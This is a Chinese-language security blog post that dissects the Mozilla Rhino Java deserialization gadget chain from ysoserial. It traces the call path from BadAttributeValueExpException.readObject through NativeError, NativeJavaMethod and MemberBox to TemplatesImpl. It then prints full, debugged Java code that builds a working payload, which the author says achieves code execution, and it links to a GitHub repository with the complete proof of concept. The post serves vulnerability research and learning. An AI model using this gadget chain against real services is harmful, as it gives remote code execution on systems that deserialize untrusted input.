长亭百川云 - 文章详情

Mozilla Rhino 反序列化漏洞 POC 分析

闻道解惑

52

2024-07-13

**Mozilla Rhino 是一个使用 Java 语言编写的开源 JavaScript 引擎。ysoserial 中收录了 Rhino 的反序列化 Gadget,我们来一起分析下这个 Gadget。
**

零、NativeError 的继承关系

首先来看 org.mozilla.javascript.NativeError 类的继承关系。它继承自 IdScriptableObject,后者继承自 ScriptableObject。而 ScriptableObject 实现了 Scriptable 接口和 Serializable 接口。因此,NativeError 可以进行序列化和反序列化操作。

一、分析

1、 首先,反序列化攻击的入口在 NativeError 的 toString() 函数。

toString() 中调用了 js_toString() 函数,传入参数为 NativeError 的 this 对象。看下js_toString() 。

js_toString() 调用了两次 getString() 函数,传入的参数是 NativeError 对象和字符串 name/message,继续跟进。

getString() 中调用的是父类 ScriptableObject 的 getProperty() 函数,入参没有变化。跟进去看看。

其中调用的是 Scriptable 接口的 get() 函数。这个 get() 的实现在 IdScriptableObject 类。

IdScriptableObject.get() 最后调用的是父类 ScriptableObject 的 get() 函数,再次回到 ScriptableObject 类。

继续跟进 getImpl() 函数。

其中的关键在于 2007 行到 2026 行的这部分。先看 2009 行到 2020 行的第一个分支。

这个分支中有 nativeGetter.invoke() 的调用,看上去有戏。但有一个问题在于,nativeGetter.delegateTo 是 transient 变量,在反序列化过程中无法赋值。

这会导致 2013 行 if (nativeError.delegateTo == null) 的判断恒真,getterThis 就被赋值为最初的 NativeError 对象。这就导致 2020 行的 nativeGetter.invoke() 无法调用我们期望的目标对象的函数,只能调用静态函数或者 NativeError 类的内置函数。这当然不是我们期望的结果。

再来看 2021 行到 2026 行的 else 分支。

这个分支中需要将 getterObj 设置为 Function 对象,并最终调用 Function 的 call()函数。先看看 getterObj 如何赋值。

通过 GetterSlot 的 getterGetterSlot 是 ScriptableObject 的内部类,支持序列化。

GetterSlot.getter 可以通过 ScriptableObject.setGetterOrSetter() 来进行赋值。

那么 getterObj 要赋值成 Function 的哪个对象呢?Function 是个接口,看下它的实现类。

我们选择 NativeJavaMethod 类。这个类继承自 BaseFunction,后者同样继承自 IdScriptableObject,因此同样可以进行序列化和反序列化处理。

NativeJavaMethod.call() 函数挺长,翻一翻会发现在 247 行调用了 meth.invoke(javaObject, args)

这个 invoke() 的调用,其实是 MemberBox.invoke() 函数,其中直接调用了我们熟悉的 method.invoke() 函数。

看起来很有希望。为了能成功调用到我们期望的目标函数,我们需要关注 NativeJavaMethod.call() 中 meth.invoke(javaObject, args) 里的三个变量:methjavaObjectargs

一个一个来,先看 meth

2、meth 的值来自类的成员变量 methods,通过 findFunction() 查找到索引 index。 

成员变量 methods 是 MemberBox 类的对象数组,本身可以通过反序列化赋值。

至于 methods 的内容要设置成什么样,来看下 MemberBox.invoke() 函数。其中 method来自 method() 函数,而后者是直接返回了 memberObject 变量。

MemberBox.memberObject 是个 transient 变量,要怎么赋值呢?

答案就在 MemberBox.readObject() 中。这里先通过 readMember() 得到了 member 对象,再通过 init() 函数将 member 赋值给 memberObject

继续跟进 readMember() 函数,就是一个反序列化的实现。因此,通过反序列化给 memberObject的赋值,不存在问题。

也就是说,我们可以通过反序列化给 meth 赋值为期望的目标函数。

结论

设置 NativeJavaMethod.call() 中的 meth 需要:

  • 构造 MemberBox 对象 m

  • 设置 m 的成员变量 memberObject 为目标函数

  • 构造 NativeJavaMethod 对象 n

  • 设置 n 的成员变量 methods 的 0 号元素为 m

3、 javaObject 涉及的代码,都在 NativeJavaMethod.call() 的 222~247 行。

关键的部分就是 225~242 行的 else 分支里。

如果要把 javaObject 赋值为我们期望的对象,就是要在 235 行完成这个赋值。但是这里有一个问题:我们知道 thisObj 就是 NativeError 对象,同理 o 也是。但 NativeError 没有实现 Wrapper 接口,这样一来 234 行的判断条件 if (o instanceof Wrapper) 就不能满足了。

转机在于,这个判断身处循环之中,240 行的 o = o.getPrototype() 给了我们希望。查看一下 Wrapper 的实现类。

看下 NativeJavaObject 的 unwrap() 函数,直接返回了 NativeJavaObject.javaObject 成员变量。

而 NativeJavaObject.javaObject 成员变量可以通过反序列化的 readObject() 函数直接赋值。

也就是说,如果我们让 NativeError 对象的 getPrototype() 返回特定的 NativeJavaObject 对象,就可以完成 javaObject 的赋值。看看 getPrototype() 的实现,在 ScriptableObject 类中。

这个 prototypeObject 来自 ScriptableObject 的成员变量,可以通过反序列化赋值。 

结论

设置 NativeJavaMethod.call() 中的 javaObject 需要:

  • 构造 NativeJavaObject 对象 o

  • 设置 o 的成员变量 javaObject 为目标对象

  • 构造 NativeError 对象 e

  • 设置 e 的成员变量 prototypeObject 为 o 

4、 最后看一下 argsargs来自入参,其实就是调用者传入的 ScriptRuntime.emptyArgs

这就决定我们要寻找的目标函数,必须是一个无参函数

5、 再回到开头,通常反序列化的入口都是 readObject() 函数,而文章开头说 NativeError的反序列化入口在 toString() 函数。怎么才能从 readObject() 入口转到 NativeError.toString() 呢?

答案就在 JDK 中的 BadAttributeValueExpException 类的 readObject() 函数。

也就是说,只要将 BadAttributeValueExpException 的 val 设置为 NativeError 对象,就可以在反序列化的过程中调用 NativeError.toString() 了。

6、结论

如果要完成反序列化POC,需要:

  • 构造 MemberBox 对象 m

  • 设置 m 的成员变量 memberObject 为目标函数

  • 构造 NativeJavaMethod 对象 n

  • 设置 n 的成员变量 methods 的 0 号元素为 m

  • 构造 NativeJavaObject 对象 o

  • 设置 o 的成员变量 javaObject 为目标对象

  • 构造 NativeError 对象 a

  • 设置 a 的成员变量 prototypeObject 为 o 

  • 通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n

  • 构造 BadAttributeValueExpException 对象 b

  • 设置 b 的成员变量 val 为 NativeError 对象 a

前面说过,需要寻找的目标函数,应当是一个无参函数。同时,这个无参函数所属的目标类,还得是实现了 Serializable 接口、支持序列化和反序列化的类。

因此,首先想到的就是,使用 TemplatesImpl 类作为目标类,使用它的 getOutputProperties() 作为目标函数。

二、填坑

完成了上述分析,我们开始写POC。途中暗坑无数,逐一填之。

1、NativeError 无法实例化

声明 NativeError 对象,直接报错:The type NativeError is not visible

报错原因:

NativeError 类不是 public,不能直接引用。

解决方案:

通过反射,实例化 NativeError 对象。

2、反射实例化的 NativeError 运行失败

运行这段代码:

报错 “ Class com.xiang.rhinotest.RhinoPoc can not access a member of class org.mozilla.javascript.NativeError with modifiers "" ”

报错原因:

NativeError 没有提供默认的public 无参构造函数,无法直接调用 newInstance()。

解决方案:

通过反射设置构造函数为 public,再进行调用。

反射在 ysoserial 中被大量的使用,原因也就在此。

3、执行POC失败:No Context

按照“分析”部分的结论,结合大量的反射调用,完成POC如下。


    private static Object generate_Object() throws Exception { 
        //构造 NativeError 对象 a
        Object nativeError;
        {
            Class<?> cls = Class.forName("org.mozilla.javascript.NativeError");
            Constructor<?> cons = cls.getDeclaredConstructor();
            cons.setAccessible(true);
            nativeError = cons.newInstance();
        }
        //构造 NativeJavaObject 对象 o
        //设置 o 的成员变量 javaObject 为目标对象
        //设置 a 的成员变量 prototypeObject 为 o
        TemplatesImpl templatesImpl = TemplatesImplGadget.get();
        {
            Context context = Context.enter();
            NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
            NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, templatesImpl, TemplatesImpl.class);
            Method method = nativeError.getClass().getMethod("setPrototype", new Class<?>[]{Scriptable.class});
            method.invoke(nativeError, new Object[]{nativeJavaObject});
        } 
        //构造 MemberBox 对象 m
        //设置 m 的成员变量 memberObject 为目标函数
        //构造 NativeJavaMethod 对象 n
        //设置 n 的成员变量 methods 的 0 号元素为 m   
        //通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
        Method getOutputProperties = templatesImpl.getClass().getMethod("getOutputProperties", new Class<?>[0]);
        { 
            NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(getOutputProperties, null);
            Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
            method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
        } 
        //构造 BadAttributeValueExpException 对象 b
        //设置 b 的成员变量 val 为 NativeError 对象 a
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 
        {
            Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
            valField.setAccessible(true);
            valField.set(badAttributeValueExpException, nativeError);
        }        return badAttributeValueExpException;
    }

编译运行。呃,序列化成功,可是反序列化的时候却没看到计算器,只看到了报错:“No Context associated with current Thread”。

报错原因:

问题在哪里呢?就在 ScriptableObject.getImpl() 的 else 分支中。

我们期望进入 2024 行的 f.call(),结果在 2023 行 Context.getContext() 抛出了异常,因为 Context 对象为空。

构造 Context 需要调用 Context.enter() 函数。

怎样在反序列化的时候插入 Context.enter() 的调用呢?

重新看下调用栈,发现 NativeError.js_toString() 调用了两次 getString() 函数,分别传入字符串 “name”和“message”。

因此,我们可以把 TemplatesImpl.getOutputProperties() 作为 “message”的属性,把 Context.enter() 作为 “name” 的属性,这样就可以先执行 Context.enter(),再执行 TemplatesImpl.getOutputProperties() 进行 Payload 执行。

解决方案:

按照 POC 中设置 TemplatesImpl.getOutputProperties() 的方法,设置 Context.enter() 为 “name” 属性,将 TemplatesImpl.getOutputProperties() 设置为 “message” 属性。


    private static Object generate_Object() throws Exception {        //构造 MemberBox 对象 m        //...
        //设置 m 的成员变量 memberObject 为目标函数
        //构造 NativeJavaMethod 对象 n
        //设置 n 的成员变量 methods 的 0 号元素为 m   
        //通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
        Method getOutputProperties = templatesImpl.getClass().getMethod("getOutputProperties", new Class<?>0]);
        { 
            NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(getOutputProperties, null);
            Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>]{String.class, int.class, Callable.class, boolean.class});
            method.invoke(nativeError, new Object[]{"messsage", 0, nativeJavaFunction, false});
        } 
        //构造 MemberBox 对象 m2
        //设置 m2 的成员变量 memberObject 为 Context.enter()
        //构造 NativeJavaMethod 对象 n2
        //设置 n2 的成员变量 methods 的 0 号元素为 m2   
        //通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n2
        Method enterMethod = Context.class.getMethod("enter", new Class<?>[0]);
        {
            NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(enterMethod, null);
            Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
            method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
        }        //...
    }

4、执行POC仍然失败:No Context

增加 Context.enter() 的调用之后,重新运行POC,呃,问题依旧……

报错原因:

为什么新增的调用无效呢?因为设置函数的方法错了。

无论是 TemplatesImpl.getOutputProperties() 还是 Context.enter() ,我们都是通过 ScriptableObject.setGetterOrSetter() 函数进行设置。而这个函数设置的 getter 属性,是 Callable 类型的。

回到报错的地方看。 2009 行 if 分支的判断条件是,getter 属性的值必须是 MemberBox 类型,而 MemberBox 并没有实现 Callable 接口,所以无论进来的是TemplatesImpl.getOutputProperties() 还是 Context.enter(),代码流程都会走到 2021 行的 else 分支中。

我们期望流程走到 2024 行的 f.call(),遇到的问题是在 2023 行就报错了。我们增加 Context.enter() 的调用,期望他能解决无法通过 f.call() 来调用TemplatesImpl.getOutputProperties() 的问题。

但是对 Context.enter() 的调用遇到了一样的问题,在 2023 行就抛出了异常,无法走到 2024 行去执行我们期望的函数。

所以,对 Context.enter() 的设置,就不能像 TemplatesImpl.getOutputProperties()一样,去通过 ScriptableObject.setGetterOrSetter() 函数进行设置,只能让他通过 2009 行的 if 分支去调用。但是要怎么去设置呢?ysoserial 通过反射进行强制设置 getter 属性来解决这个问题。

解决方案:

参考 ysoserial 中的方法,通过反射进行强制设置 getter 属性为 MemberBox 对象的 Context.enter() 方法:


    private static Object generate_Object() throws Exception { 
        //...        //设置 m 的成员变量 memberObject 为目标函数
        //构造 NativeJavaMethod 对象 n
        //设置 n 的成员变量 methods 的 0 号元素为 m   
        //通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
        Method getOutputProperties = templatesImpl.getClass().getMethod("getOutputProperties", new Class<?>0]);
        { 
            NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(getOutputProperties, null);
            Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>]{String.class, int.class, Callable.class, boolean.class});
            method.invoke(nativeError, new Object[]{"messsage", 0, nativeJavaFunction, false});
        }         //构造 MemberBox 对象 m2
        //设置 m2 的成员变量 memberObject 为 Context.enter()
        //构造 NativeJavaMethod 对象 n2
        //设置 n2 的成员变量 methods 的 0 号元素为 m2   
        //通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n2
        Method enterMethod = Context.class.getMethod("enter", new Class<?>[0]);
        {
            NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(enterMethod, null);
            Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
            method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
        }
        //通过反射强行设置 getter 属性为 MemberBox 对象的 Context.enter() 函数
        {
            Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", new Class<?>[]{String.class, int.class, int.class});
            getSlot.setAccessible(true);
            Object slot  = getSlot.invoke(nativeError, "name", 0, 1);
            Field getter = slot.getClass().getDeclaredField("getter");
            getter.setAccessible(true);
 
            Class<?> memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
            Constructor<?> memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
            memberboxClassConstructor.setAccessible(true);
            Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
            getter.set(slot, memberboxes);
        }        //...
    }    

现在再执行 POC,终于可以看到计算器了。

三、POC

完整POC参见 Github (https://github.com/yaojieno1/rhinoPoc)。

主要函数:


    private static Object generate_Object() throws Exception 
    {
        //构造 NativeError 对象 a
        Object nativeError;
        {
            Class<?> cls = Class.forName("org.mozilla.javascript.NativeError");
            Constructor<?> cons = cls.getDeclaredConstructor();
            cons.setAccessible(true);
            nativeError = cons.newInstance();
        } 
        //构造 NativeJavaObject 对象 o
        //设置 o 的成员变量 javaObject 为目标对象
        //设置 a 的成员变量 prototypeObject 为 o
        TemplatesImpl templatesImpl = TemplatesImplGadget.get();
        {
            Context context = Context.enter();
            NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
            NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, templatesImpl, TemplatesImpl.class);
            Method method = nativeError.getClass().getMethod("setPrototype", new Class<?>[]{Scriptable.class});
            method.invoke(nativeError, new Object[]{nativeJavaObject});
        } 
        //构造 MemberBox 对象 m
        //设置 m 的成员变量 memberObject 为目标函数
        //构造 NativeJavaMethod 对象 n
        //设置 n 的成员变量 methods 的 0 号元素为 m   
        //通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n
        Method getOutputProperties = templatesImpl.getClass().getMethod("getOutputProperties", new Class<?>[0]);
        { 
            NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(getOutputProperties, null);
            Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
            method.invoke(nativeError, new Object[]{"message", 0, nativeJavaFunction, false});
        } 
        //构造 MemberBox 对象 m2
        //设置 m2 的成员变量 memberObject 为 Context.enter()
        //构造 NativeJavaMethod 对象 n2
        //设置 n2 的成员变量 methods 的 0 号元素为 m2   
        //通过 a 的 setGetterOrSetter() 函数,设置 a 的 getter 属性为对象 n2
        Method enterMethod = Context.class.getMethod("enter", new Class<?>[0]);
        {
            NativeJavaMethod nativeJavaFunction = new NativeJavaMethod(enterMethod, null);
            Method method = nativeError.getClass().getMethod("setGetterOrSetter", new Class<?>[]{String.class, int.class, Callable.class, boolean.class});
            method.invoke(nativeError, new Object[]{"name", 0, nativeJavaFunction, false});
        }
        //通过反射强行设置 getter 属性为 MemberBox 对象的 Context.enter() 函数
        {
            Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", new Class<?>[]{String.class, int.class, int.class});
            getSlot.setAccessible(true);
            Object slot  = getSlot.invoke(nativeError, "name", 0, 1);
            Field getter = slot.getClass().getDeclaredField("getter");
            getter.setAccessible(true);

            Class<?> memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
            Constructor<?> memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
            memberboxClassConstructor.setAccessible(true);
            Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
            getter.set(slot, memberboxes);
        }        
        //构造 BadAttributeValueExpException 对象 b
        //设置 b 的成员变量 val 为 NativeError 对象 a
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 
        {
            Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
            valField.setAccessible(true);
            valField.set(badAttributeValueExpException, nativeError);
        } 
        return badAttributeValueExpException;
    }    
    

四、心得

1、 有 BadAttributeValueExpException 作为反序列化的入口,toString() 也成为了 readObject() 之外的另一个反序列化攻击触发点。

2、 反射功能,很好很强大。

点击“阅读原文”,访问完整POC代码。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2